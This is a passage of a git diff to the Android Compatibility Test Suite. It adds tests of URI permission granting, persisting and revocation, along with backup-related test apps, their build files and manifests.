+        assertReadingClipAllowed(clipMeow);
+        assertReadingClipAllowed(clipMeowCat);
+        assertWritingClipNotAllowed(clip, "writing should have failed");
+        assertWritingClipNotAllowed(clipMeow, "writing should have failed");
+        assertWritingClipNotAllowed(clipMeowCat, "writing should have failed");
+
+        // Now give ourselves exact write access
+        ReceiveUriActivity.clearNewIntent();
+        grantClipUriPermission(clip, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, false);
+        ReceiveUriActivity.waitForNewIntent();
+
+        // Verify we have exact write access, but not prefix write
+        assertReadingClipNotAllowed(clip, "reading should have failed");
+        assertReadingClipAllowed(clipMeow);
+        assertReadingClipAllowed(clipMeowCat);
+        assertWritingClipAllowed(clip);
+        assertWritingClipNotAllowed(clipMeow, "writing should have failed");
+        assertWritingClipNotAllowed(clipMeowCat, "writing should have failed");
+
+        ReceiveUriActivity.finishCurInstanceSync();
+    }
+
+    @Test
+    public void testGrantPersistablePrefixUriPermission() {
+        final ContentResolver resolver = getContext().getContentResolver();
+
+        final Uri target = Uri.withAppendedPath(PERM_URI_GRANTING, "foo2");
+        final Uri targetMeow = Uri.withAppendedPath(target, "meow");
+
+        final ClipData clip = makeSingleClipData(target);
+        final ClipData clipMeow = makeSingleClipData(targetMeow);
+
+        // Make sure we can't see the target
+        assertReadingClipNotAllowed(clip, "reading should have failed");
+
+        // Give ourselves prefix read access
+        ReceiveUriActivity.clearStarted();
+        grantClipUriPermission(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
+                | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
+                | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION, false);
+        ReceiveUriActivity.waitForStart();
+
+        // Verify prefix read access
+        assertReadingClipAllowed(clip);
+        assertReadingClipAllowed(clipMeow);
+
+        // Verify we can persist direct grant
+        long before = System.currentTimeMillis();
+        resolver.takePersistableUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION);
+        long after = System.currentTimeMillis();
+        assertPersistedUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION, before, after);
+
+        // But we can't take anywhere under the prefix
+        try {
+            resolver.takePersistableUriPermission(targetMeow,
+                    Intent.FLAG_GRANT_READ_URI_PERMISSION);
+            fail("taking under prefix should have failed");
+        } catch (SecurityException expected) {
+        }
+
+        // Should still have access regardless of taking
+        assertReadingClipAllowed(clip);
+        assertReadingClipAllowed(clipMeow);
+
+        // And clean up our grants
+        resolver.releasePersistableUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION);
+        assertNoPersistedUriPermission();
+
+        ReceiveUriActivity.finishCurInstanceSync();
+    }
+
+    /**
+     * Validate behavior of directly granting/revoking permission grants.
+     */
+    @Test
+    public void testDirectGrantRevokeUriPermission() throws Exception {
+        final ContentResolver resolver = getContext().getContentResolver();
+
+        final Uri target = Uri.withAppendedPath(PERM_URI_GRANTING, "foo3");
+        final Uri targetMeow = Uri.withAppendedPath(target, "meow");
+        final Uri targetMeowCat = Uri.withAppendedPath(targetMeow, "cat");
+
+        final ClipData clip = makeSingleClipData(target);
+        final ClipData clipMeow = makeSingleClipData(targetMeow);
+        final ClipData clipMeowCat = makeSingleClipData(targetMeowCat);
+
+        // Make sure we can't see the target
+        assertReadingClipNotAllowed(clipMeow, "reading should have failed");
+        assertWritingClipNotAllowed(clipMeow, "writing should have failed");
+
+        // Give ourselves some grants:
+        // /meow/cat  WRITE|PERSISTABLE
+        // /meow      READ|PREFIX
+        // /meow      WRITE
+        grantClipUriPermissionViaContext(targetMeowCat, Intent.FLAG_GRANT_WRITE_URI_PERMISSION
+                | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION);
+        grantClipUriPermissionViaContext(targetMeow, Intent.FLAG_GRANT_READ_URI_PERMISSION
+                | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION);
+        grantClipUriPermissionViaContext(targetMeow, Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+
+        long before = System.currentTimeMillis();
+        resolver.takePersistableUriPermission(targetMeowCat, Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+        long after = System.currentTimeMillis();
+        assertPersistedUriPermission(targetMeowCat, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, before, after);
+
+        // Verify they look good
+        assertReadingClipNotAllowed(clip, "reading should have failed");
+        assertReadingClipAllowed(clipMeow);
+        assertReadingClipAllowed(clipMeowCat);
+        assertWritingClipNotAllowed(clip, "writing should have failed");
+        assertWritingClipAllowed(clipMeow);
+        assertWritingClipAllowed(clipMeowCat);
+
+        // Revoke anyone with write under meow
+        revokeClipUriPermissionViaContext(targetMeow, Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+
+        // This should have nuked persisted permission at lower level, but it
+        // shoulnd't have touched our prefix read.
+        assertReadingClipNotAllowed(clip, "reading should have failed");
+        assertReadingClipAllowed(clipMeow);
+        assertReadingClipAllowed(clipMeowCat);
+        assertWritingClipNotAllowed(clip, "writing should have failed");
+        assertWritingClipNotAllowed(clipMeow, "writing should have failed");
+        assertWritingClipNotAllowed(clipMeowCat, "writing should have failed");
+        assertNoPersistedUriPermission();
+
+        // Revoking read at top of tree should nuke everything else
+        revokeClipUriPermissionViaContext(target, Intent.FLAG_GRANT_READ_URI_PERMISSION);
+        assertReadingClipNotAllowed(clip, "reading should have failed");
+        assertReadingClipNotAllowed(clipMeow, "reading should have failed");
+        assertReadingClipNotAllowed(clipMeowCat, "reading should have failed");
+        assertWritingClipNotAllowed(clip, "writing should have failed");
+        assertWritingClipNotAllowed(clipMeow, "writing should have failed");
+        assertWritingClipNotAllowed(clipMeowCat, "writing should have failed");
+        assertNoPersistedUriPermission();
+    }
+
+    /**
+     * Validate behavior of a direct permission grant, where the receiver of
+     * that permission revokes it.
+     */
+    @Test
+    public void testDirectGrantReceiverRevokeUriPermission() throws Exception {
+        final ContentResolver resolver = getContext().getContentResolver();
+
+        final Uri target = Uri.withAppendedPath(PERM_URI_GRANTING, "foo3");
+        final Uri targetMeow = Uri.withAppendedPath(target, "meow");
+        final Uri targetMeowCat = Uri.withAppendedPath(targetMeow, "cat");
+
+        final ClipData clip = makeSingleClipData(target);
+        final ClipData clipMeow = makeSingleClipData(targetMeow);
+        final ClipData clipMeowCat = makeSingleClipData(targetMeowCat);
+
+        // Make sure we can't see the target
+        assertReadingClipNotAllowed(clipMeow, "reading should have failed");
+        assertWritingClipNotAllowed(clipMeow, "writing should have failed");
+
+        // Give ourselves some grants:
+        // /meow/cat  WRITE|PERSISTABLE
+        // /meow      READ|PREFIX
+        // /meow      WRITE
+        grantClipUriPermissionViaContext(targetMeowCat, Intent.FLAG_GRANT_WRITE_URI_PERMISSION
+                | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION);
+        grantClipUriPermissionViaContext(targetMeow, Intent.FLAG_GRANT_READ_URI_PERMISSION
+                | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION);
+        grantClipUriPermissionViaContext(targetMeow, Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+
+        long before = System.currentTimeMillis();
+        resolver.takePersistableUriPermission(targetMeowCat, Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+        long after = System.currentTimeMillis();
+        assertPersistedUriPermission(targetMeowCat, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, before, after);
+
+        // Verify they look good
+        assertReadingClipNotAllowed(clip, "reading should have failed");
+        assertReadingClipAllowed(clipMeow);
+        assertReadingClipAllowed(clipMeowCat);
+        assertWritingClipNotAllowed(clip, "writing should have failed");
+        assertWritingClipAllowed(clipMeow);
+        assertWritingClipAllowed(clipMeowCat);
+
+        // Revoke anyone with write under meow
+        getContext().revokeUriPermission(targetMeow, Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+
+        // This should have nuked persisted permission at lower level, but it
+        // shoulnd't have touched our prefix read.
+        assertReadingClipNotAllowed(clip, "reading should have failed");
+        assertReadingClipAllowed(clipMeow);
+        assertReadingClipAllowed(clipMeowCat);
+        assertWritingClipNotAllowed(clip, "writing should have failed");
+        assertWritingClipNotAllowed(clipMeow, "writing should have failed");
+        assertWritingClipNotAllowed(clipMeowCat, "writing should have failed");
+        assertNoPersistedUriPermission();
+
+        // Revoking read at top of tree should nuke everything else
+        getContext().revokeUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION);
+        assertReadingClipNotAllowed(clip, "reading should have failed");
+        assertReadingClipNotAllowed(clipMeow, "reading should have failed");
+        assertReadingClipNotAllowed(clipMeowCat, "reading should have failed");
+        assertWritingClipNotAllowed(clip, "writing should have failed");
+        assertWritingClipNotAllowed(clipMeow, "writing should have failed");
+        assertWritingClipNotAllowed(clipMeowCat, "writing should have failed");
+        assertNoPersistedUriPermission();
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/Utils.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/Utils.java
new file mode 100644
index 0000000..48cac57
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/Utils.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.usespermissiondiffcertapp;
+
+import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_CLEAR_PRIMARY_CLIP;
+import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_GRANT_URI;
+import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_REVOKE_URI;
+import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_SET_PRIMARY_CLIP;
+import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_START_ACTIVITY;
+import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_START_SERVICE;
+import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_VERIFY_OUTGOING_PERSISTED;
+import static com.android.cts.permissiondeclareapp.UtilsProvider.EXTRA_INTENT;
+import static com.android.cts.permissiondeclareapp.UtilsProvider.EXTRA_MODE;
+import static com.android.cts.permissiondeclareapp.UtilsProvider.EXTRA_PACKAGE_NAME;
+import static com.android.cts.permissiondeclareapp.UtilsProvider.EXTRA_URI;
+
+import android.content.ClipData;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.cts.permissiondeclareapp.UtilsProvider;
+
+public class Utils {
+    private static Context getContext() {
+        return InstrumentationRegistry.getTargetContext();
+    }
+
+    private static void call(Intent intent) {
+        final Bundle extras = new Bundle();
+        extras.putParcelable(Intent.EXTRA_INTENT, intent);
+        getContext().getContentResolver().call(UtilsProvider.URI, "", "", extras);
+    }
+
+    static void grantClipUriPermission(ClipData clip, int mode, boolean service) {
+        Intent grantIntent = new Intent();
+        if (clip.getItemCount() == 1) {
+            grantIntent.setData(clip.getItemAt(0).getUri());
+        } else {
+            grantIntent.setClipData(clip);
+            // Make this Intent unique from the one that started it.
+            for (int i=0; i<clip.getItemCount(); i++) {
+                Uri uri = clip.getItemAt(i).getUri();
+                if (uri != null) {
+                    grantIntent.addCategory(uri.toString());
+                }
+            }
+        }
+        grantIntent.addFlags(mode);
+        grantIntent.setClass(getContext(),
+                service ? ReceiveUriService.class : ReceiveUriActivity.class);
+        Intent intent = new Intent();
+        intent.setAction(service ? ACTION_START_SERVICE : ACTION_START_ACTIVITY);
+        intent.putExtra(EXTRA_INTENT, grantIntent);
+        call(intent);
+    }
+
+    static void grantClipUriPermissionViaContext(Uri uri, int mode) {
+        Intent intent = new Intent();
+        intent.setAction(ACTION_GRANT_URI);
+        intent.putExtra(EXTRA_PACKAGE_NAME, getContext().getPackageName());
+        intent.putExtra(EXTRA_URI, uri);
+        intent.putExtra(EXTRA_MODE, mode);
+        call(intent);
+    }
+
+    static void revokeClipUriPermissionViaContext(Uri uri, int mode) {
+        Intent intent = new Intent();
+        intent.setAction(ACTION_REVOKE_URI);
+        intent.putExtra(EXTRA_URI, uri);
+        intent.putExtra(EXTRA_MODE, mode);
+        call(intent);
+    }
+
+    static void setPrimaryClip(ClipData clip) {
+        Intent intent = new Intent();
+        intent.setAction(ACTION_SET_PRIMARY_CLIP);
+        intent.setClipData(clip);
+        call(intent);
+    }
+
+    static void clearPrimaryClip() {
+        Intent intent = new Intent();
+        intent.setAction(ACTION_CLEAR_PRIMARY_CLIP);
+        call(intent);
+    }
+
+    static void verifyOutgoingPersisted(Uri uri) {
+        Intent intent = new Intent();
+        intent.setAction(ACTION_VERIFY_OUTGOING_PERSISTED);
+        intent.putExtra(EXTRA_URI, uri);
+        call(intent);
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/rro/OverlayApp/src/com/android/cts/overlay/app/OverlayableTest.java b/hostsidetests/appsecurity/test-apps/rro/OverlayApp/src/com/android/cts/overlay/app/OverlayableTest.java
index d693691..2b8bad6 100644
--- a/hostsidetests/appsecurity/test-apps/rro/OverlayApp/src/com/android/cts/overlay/app/OverlayableTest.java
+++ b/hostsidetests/appsecurity/test-apps/rro/OverlayApp/src/com/android/cts/overlay/app/OverlayableTest.java
@@ -139,7 +139,7 @@
 
     @Test
     public void testFrameworkDoesNotDefineOverlayable() throws Exception {
-        assertTrue(InstrumentationRegistry.getTargetContext().getAssets().getOverlayableMap(
+        assertTrue(InstrumentationRegistry.getTargetContext().getAssets().getOverlayablesToString(
                 "android").isEmpty());
     }
 
diff --git a/hostsidetests/backup/AndroidTest.xml b/hostsidetests/backup/AndroidTest.xml
index 959ae6e..0b17a95 100644
--- a/hostsidetests/backup/AndroidTest.xml
+++ b/hostsidetests/backup/AndroidTest.xml
@@ -19,15 +19,19 @@
     <!-- Backup of instant apps is not supported. -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
-    <!-- Run this module in system user because backup tests are not fully supported in secondary user.
+    <!-- Run module in system user because backup tests are not fully supported in secondary user.
          For devices running on secondary user, such as automotive devices, these tests will fail.
-         This should be removed when backup tests are fully functional for secondary users. -->
+         When backup tests are fully functional for secondary users:
+           -change not_secondary_user to secondary_user.
+           -remove SwitchUserTargetPreparer
+    -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.SwitchUserTargetPreparer">
         <option name="user-type" value="system" />
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsFullbackupApp.apk" />
+        <option name="test-file-name" value="CtsHostsideTestsFullBackupApp.apk" />
         <option name="test-file-name" value="CtsIncludeExcludeApp.apk" />
     </target_preparer>
     <target_preparer class="android.cts.backup.BackupPreparer">
diff --git a/hostsidetests/backup/AutoRestoreApp/Android.bp b/hostsidetests/backup/AutoRestoreApp/Android.bp
new file mode 100644
index 0000000..227fe13
--- /dev/null
+++ b/hostsidetests/backup/AutoRestoreApp/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsAutoRestoreApp",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "androidx.test.rules",
+        "platform-test-annotations",
+        "testng",
+        "truth-prebuilt",
+        "compatibility-device-util-axt",
+    ],
+    srcs: ["src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "arcts",
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    platform_apis: true,
+}
diff --git a/hostsidetests/backup/AutoRestoreApp/AndroidManifest.xml b/hostsidetests/backup/AutoRestoreApp/AndroidManifest.xml
new file mode 100644
index 0000000..de6fa63
--- /dev/null
+++ b/hostsidetests/backup/AutoRestoreApp/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.cts.backup.autorestoreapp">
+
+    <application android:label="AutoRestoreApp" >
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.cts.backup.autorestoreapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/AutoRestoreApp/src/android/cts/backup/autorestoreapp/AutoRestoreTest.java b/hostsidetests/backup/AutoRestoreApp/src/android/cts/backup/autorestoreapp/AutoRestoreTest.java
new file mode 100644
index 0000000..1448f93
--- /dev/null
+++ b/hostsidetests/backup/AutoRestoreApp/src/android/cts/backup/autorestoreapp/AutoRestoreTest.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.backup.autorestoreapp;
+
+import static androidx.test.InstrumentationRegistry.getTargetContext;
+
+import static com.google.common.truth.Truth.assertThat;
+
+
+import android.app.backup.BackupManager;
+import android.content.Context;
+import android.content.SharedPreferences;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Device side routines to be invoked by the host side AutoRestoreHostSideTest. These are not
+ * designed to be called in any other way, as they rely on state set up by the host side test.
+ */
+@RunWith(AndroidJUnit4.class)
+@AppModeFull
+public class AutoRestoreTest {
+    private static final String SHARED_PREFERENCES_FILE = "auto_restore_shared_prefs";
+    private static final String PREF_KEY = "auto_restore_pref";
+    private static final int PREF_VALUE = 123;
+
+    private BackupManager mBackupManager;
+    private SharedPreferences mPreferences;
+
+    @Before
+    public void setUp() {
+        Context context = getTargetContext();
+        mBackupManager = new BackupManager(context);
+        mPreferences = context.getSharedPreferences(SHARED_PREFERENCES_FILE, Context.MODE_PRIVATE);
+    }
+
+    @Test
+    public void saveValuesToSharedPrefs() {
+        mPreferences.edit().putInt(PREF_KEY, PREF_VALUE).commit();
+    }
+
+    @Test
+    public void testCheckSharedPrefsExist() {
+        assertThat(mPreferences.getInt(PREF_KEY, 0)).isEqualTo(PREF_VALUE);
+    }
+
+    @Test
+    public void testCheckSharedPrefsDontExist() {
+        assertThat(mPreferences.getInt(PREF_KEY, 0)).isEqualTo(0);
+    }
+
+    @Test
+    public void enableAutoRestore() {
+        setAutoRestoreEnabled(true);
+    }
+
+    @Test
+    public void disableAutoRestore() {
+        setAutoRestoreEnabled(false);
+    }
+
+    private void setAutoRestoreEnabled(boolean enabled) {
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> {
+                    mBackupManager.setAutoRestore(enabled);
+                });
+    }
+}
diff --git a/hostsidetests/backup/BackupTransportApp/Android.bp b/hostsidetests/backup/BackupTransportApp/Android.bp
new file mode 100644
index 0000000..240a460
--- /dev/null
+++ b/hostsidetests/backup/BackupTransportApp/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsBackupTransportApp",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "androidx.test.rules",
+        "platform-test-annotations",
+        "testng",
+        "truth-prebuilt",
+    ],
+    srcs: ["src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "arcts",
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "system_current",
+}
diff --git a/hostsidetests/backup/BackupTransportApp/AndroidManifest.xml b/hostsidetests/backup/BackupTransportApp/AndroidManifest.xml
new file mode 100644
index 0000000..d3f4e66
--- /dev/null
+++ b/hostsidetests/backup/BackupTransportApp/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.cts.backup.backuptransportapp">
+
+    <application android:label="BackupTransportApp" >
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.cts.backup.backuptransportapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/BackupTransportApp/src/android/cts/backup/backuptransportapp/BackupTransportTest.java b/hostsidetests/backup/BackupTransportApp/src/android/cts/backup/backuptransportapp/BackupTransportTest.java
new file mode 100644
index 0000000..7edcd65
--- /dev/null
+++ b/hostsidetests/backup/BackupTransportApp/src/android/cts/backup/backuptransportapp/BackupTransportTest.java
@@ -0,0 +1,234 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.backup.backuptransportapp;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.app.backup.BackupTransport;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Device side routines to be invoked by the host side BackupTransportHostSideTest. These are not
+ * designed to be called in any other way, as they rely on state set up by the host side test.
+ */
+@RunWith(AndroidJUnit4.class)
+@AppModeFull
+public class BackupTransportTest {
+    private BackupTransport mBackupTransport;
+
+    @Before
+    public void setUp() {
+        mBackupTransport = new BackupTransport();
+    }
+
+    @Test
+    public void testName_throwsException() {
+        assertThrows(UnsupportedOperationException.class, () -> mBackupTransport.name());
+    }
+
+    @Test
+    public void testConfigurationIntent_returnsNull() throws Exception {
+        assertThat(mBackupTransport.configurationIntent()).isNull();
+    }
+
+    @Test
+    public void testCurrentDestinationString_throwsException() {
+        assertThrows(
+                UnsupportedOperationException.class,
+                () -> mBackupTransport.currentDestinationString());
+    }
+
+    @Test
+    public void testDataManagementIntent_returnsNull() {
+        assertThat(mBackupTransport.dataManagementIntent()).isNull();
+    }
+
+    @Test
+    public void testDataManagementIntentLabel_throwsException() {
+        assertThrows(
+                UnsupportedOperationException.class,
+                () -> mBackupTransport.dataManagementIntentLabel());
+    }
+
+    @Test
+    public void testTransportDirName_throwsException() {
+        assertThrows(
+                UnsupportedOperationException.class, () -> mBackupTransport.transportDirName());
+    }
+
+    @Test
+    public void testInitializeDevice_returnsTransportError() {
+        assertThat(mBackupTransport.initializeDevice()).isEqualTo(BackupTransport.TRANSPORT_ERROR);
+    }
+
+    @Test
+    public void testClearBackupData_returnsTransportError() {
+        assertThat(mBackupTransport.clearBackupData(null /* packageInfo */))
+                .isEqualTo(BackupTransport.TRANSPORT_ERROR);
+    }
+
+    @Test
+    public void testFinishBackup_returnsTransportError() {
+        assertThat(mBackupTransport.finishBackup()).isEqualTo(BackupTransport.TRANSPORT_ERROR);
+    }
+
+    @Test
+    public void testRequestBackupTime_returnsZero() {
+        assertThat(mBackupTransport.requestBackupTime()).isEqualTo(0);
+    }
+
+    @Test
+    public void testPerformBackupWithFlags_returnsTransportError() {
+        assertThat(
+                        mBackupTransport.performBackup(
+                                null /* packageInfo */, null /* inFd */, 0 /* flags */))
+                .isEqualTo(BackupTransport.TRANSPORT_ERROR);
+    }
+
+    @Test
+    public void testPerformBackup_returnsTransportError() {
+        assertThat(mBackupTransport.performBackup(null /* packageInfo */, null /* inFd */))
+                .isEqualTo(BackupTransport.TRANSPORT_ERROR);
+    }
+
+    @Test
+    public void testGetAvailableRestoreSets_returnsNull() {
+        assertThat(mBackupTransport.getAvailableRestoreSets()).isNull();
+    }
+
+    @Test
+    public void testGetCurrentRestoreSet_returnsZero() {
+        assertThat(mBackupTransport.getCurrentRestoreSet()).isEqualTo(0);
+    }
+
+    @Test
+    public void testStartRestore_returnsTransportError() {
+        assertThat(mBackupTransport.startRestore(0 /* token */, null /* packages */))
+                .isEqualTo(BackupTransport.TRANSPORT_ERROR);
+    }
+
+    @Test
+    public void testNextRestorePackage_returnsNull() {
+        assertThat(mBackupTransport.nextRestorePackage()).isNull();
+    }
+
+    @Test
+    public void testGetRestoreData_returnsTransportError() {
+        assertThat(mBackupTransport.getRestoreData(null /* outFd */))
+                .isEqualTo(BackupTransport.TRANSPORT_ERROR);
+    }
+
+    @Test
+    public void testFinishRestore_throwsException() {
+        assertThrows(UnsupportedOperationException.class, () -> mBackupTransport.finishRestore());
+    }
+
+    @Test
+    public void testRequestFullBackupTime_returnsZero() {
+        assertThat(mBackupTransport.requestFullBackupTime()).isEqualTo(0);
+    }
+
+    @Test
+    public void testPerformFullBackupWithFlags_returnsTransportPackageRejected() {
+        assertThat(
+                        mBackupTransport.performFullBackup(
+                                null /* testPackage */, null /* socket */, 0 /* flags */))
+                .isEqualTo(BackupTransport.TRANSPORT_PACKAGE_REJECTED);
+    }
+
+    @Test
+    public void testPerformFullBackup_returnsTransportPackageRejected() {
+        assertThat(mBackupTransport.performFullBackup(null /* targetPackage */, null /* socket */))
+                .isEqualTo(BackupTransport.TRANSPORT_PACKAGE_REJECTED);
+    }
+
+    @Test
+    public void testCheckFullBackupSize_whenZero_returnsTransportOk() {
+        assertThat(mBackupTransport.checkFullBackupSize(0)).isEqualTo(BackupTransport.TRANSPORT_OK);
+    }
+
+    @Test
+    public void testCheckFullBackupSize_whenMaxLong_returnsTransportOk() {
+        assertThat(mBackupTransport.checkFullBackupSize(Long.MAX_VALUE))
+                .isEqualTo(BackupTransport.TRANSPORT_OK);
+    }
+
+    @Test
+    public void testSendBackupData_returnsTransportError() {
+        assertThat(mBackupTransport.sendBackupData(0 /* numBytes */))
+                .isEqualTo(BackupTransport.TRANSPORT_ERROR);
+    }
+
+    @Test
+    public void testCancelFullBackup_throwsException() {
+        assertThrows(
+                UnsupportedOperationException.class, () -> mBackupTransport.cancelFullBackup());
+    }
+
+    @Test
+    public void testIsAppEligibleForBackup_isFullBackup_returnsTrue() {
+        assertThat(
+                        mBackupTransport.isAppEligibleForBackup(
+                                null /* targetPackage */, true /* isFullBackup */))
+                .isTrue();
+    }
+
+    @Test
+    public void testIsAppEligibleForBackup_isNotFullBackup_returnsTrue() {
+        assertThat(
+                        mBackupTransport.isAppEligibleForBackup(
+                                null /* targetPackage */, false /* isFullBackup */))
+                .isTrue();
+    }
+
+    @Test
+    public void testGetBackupQuota_isFullBackup_returnsMaxValue() {
+        assertThat(mBackupTransport.getBackupQuota(null /* packageName */, true /* isFullBackup */))
+                .isEqualTo(Long.MAX_VALUE);
+    }
+
+    @Test
+    public void testGetBackupQuota_isNotFullBackup_returnsMaxValue() {
+        assertThat(
+                        mBackupTransport.getBackupQuota(
+                                null /* packageName */, false /* isFullBackup */))
+                .isEqualTo(Long.MAX_VALUE);
+    }
+
+    @Test
+    public void testGetNextFullRestoreDataChunk_returnsZero() {
